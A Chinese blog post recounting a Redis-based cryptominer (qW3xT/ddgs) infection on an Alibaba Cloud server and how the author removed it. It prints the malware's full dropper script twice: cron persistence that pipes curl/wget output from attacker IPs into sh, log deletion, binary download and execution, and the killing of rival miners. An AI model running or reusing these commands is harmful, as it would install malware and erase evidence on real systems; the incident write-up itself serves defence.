MENU

阿里云被黑,异常进程 qW3xT.4

January 16, 2019 • Read: 3296 • 杀毒防黑

今早一来收到阿里的通知信!
1.png
6379,明显是个redis的端口
查了一下。是个挖矿病毒,cpu 占用巨高 。杀了又有守护进程启动

crontab -e

2.png
定时进程

打开脚本瞅瞅

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://132.148.241.138:8000/i.sh | sh" >> /var/spool/cron/root
echo "*/15 * * * * wget -q -O- http://132.148.241.138:8000/i.sh | sh" >> /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://132.148.241.138:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
echo "*/15 * * * * wget -q -O- http://132.148.241.138:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

rm -rf /var/cache /var/log
ps auxf | grep -v grep | grep /tmp/ddgs.3017 || rm -rf /tmp/ddgs.3017
if [ ! -f "/tmp/ddgs.3017" ]; then
    wget -q http://132.148.241.138:8000/static/3017/ddgs.$(uname -m) -O /tmp/ddgs.3017
    curl -fsSL http://132.148.241.138:8000/static/3017/ddgs.$(uname -m) -o /tmp/ddgs.3017
fi
chmod +x /tmp/ddgs.3017 && /tmp/ddgs.3017

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

然后,说说这货怎么传播的。 他通过redis 。目前中毒的 共同点就是 安装了 redis 并且没有设置密码。 而且都是阿里云。 查看一下中毒时间。大概在网上 3 点。明显了,有人 利用redis 的 漏洞。固定在 去请求 阿里云的内网网ip。找有3306 端口,并且没有 设置 密码的 ecs。然后植入病毒。

解决过程:

首先解决redis入口问题,因为最开始没有设置密码,所以首先修改redis.conf。设置密码,然后重启redis

在/tmp文件夹下发现该进程的文件 ls /tmp

发现qW3xT.2文件又重新生成了。这时,首先删除qW3xT.2文件和ddgs.3013文件,然后使用top查询qW3xT.2和ddgs.3013的pid,直接kill掉。

一段时间之后,删除的文件重新生成,dds和挖矿的进程又重新执行。此时怀疑是否有计划任务,此时查看计划任务的列表

# crontab -l

*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh

删除计划任务 crontab -r

curl 的这几个 optional 介绍
-f  - fail在HTTP错误(H)上静默失败(根本没有输出)
-s  -silent静音模式。 不要输出任何东西
      --socks4 HOST [:PORT]给定主机+端口上的SOCKS4代理
      --socks4a HOST [:PORT]给定主机+端口上的SOCKS4a代理
      --socks5 HOST [:PORT]给定主机+端口上的SOCKS5代理
      --socks5-hostname HOST [:PORT] SOCKS5代理,将主机名传递给代理
      --socks5-gssapi-service名称为gssapi的SOCKS5代理服务名称
      --socks5-gssapi-nec与NEC SOCKS5服务器的兼容性
-S    --show-error显示错误。 使用-s时,make curl会在出现错误时显示错误
-L    --location遵循重定向(H)
      --location-trusted like --location并将auth发送给其他主机(H)

 

此时计划任务已经删除。参考资料https://juejin.im/post/5b62b975f265da0f9628a820

计划任务删除完成之后,这个13又开始运行。太顽固了。

 

于是我又看计划任务的内容,是否是有东西没有删除干净。

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://132.148.241.138:8000/i.sh | sh" >> /var/spool/cron/root
echo "*/15 * * * * wget -q -O- http://132.148.241.138:8000/i.sh | sh" >> /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://132.148.241.138:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
echo "*/15 * * * * wget -q -O- http://132.148.241.138:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

rm -rf /var/cache /var/log
ps auxf | grep -v grep | grep /tmp/ddgs.3017 || rm -rf /tmp/ddgs.3017
if [ ! -f "/tmp/ddgs.3017" ]; then
    wget -q http://132.148.241.138:8000/static/3017/ddgs.$(uname -m) -O /tmp/ddgs.3017
    curl -fsSL http://132.148.241.138:8000/static/3017/ddgs.$(uname -m) -o /tmp/ddgs.3017
fi
chmod +x /tmp/ddgs.3017 && /tmp/ddgs.3017

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

 

发现计划任务在服务器中创建了几个文件,

/var/spool/cron/crontabs/root

/var/spool/cron/root

内容是*/15 * * * * curl -fsSL http://132.148.241.138:8000/i.sh | sh(与计划任务相同)

将计划任务中创建的文件删除。

最终,这个挖矿病毒终于删除完成

兼总条贯 知至知终

最后编辑于: January 18, 2019